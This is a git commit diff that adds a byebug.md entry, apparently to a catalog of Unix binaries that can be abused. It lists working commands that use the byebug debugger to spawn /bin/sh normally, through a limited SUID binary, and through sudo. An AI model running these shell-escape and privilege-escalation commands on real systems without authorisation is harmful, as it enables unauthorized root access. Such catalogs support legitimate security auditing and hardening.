Create byebug.md
parent
5decf3493a
commit
efb956a7b1
|
@ -0,0 +1,21 @@
|
|||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo 'system("/bin/sh")' > $TF
|
||||
byebug $TF
|
||||
continue
|
||||
limited-suid:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo 'system("/bin/sh")' > $TF
|
||||
./byebug $TF
|
||||
continue
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo 'system("/bin/sh")' > $TF
|
||||
sudo byebug $TF
|
||||
continue
|
||||
---
|
Loading…
Reference in New Issue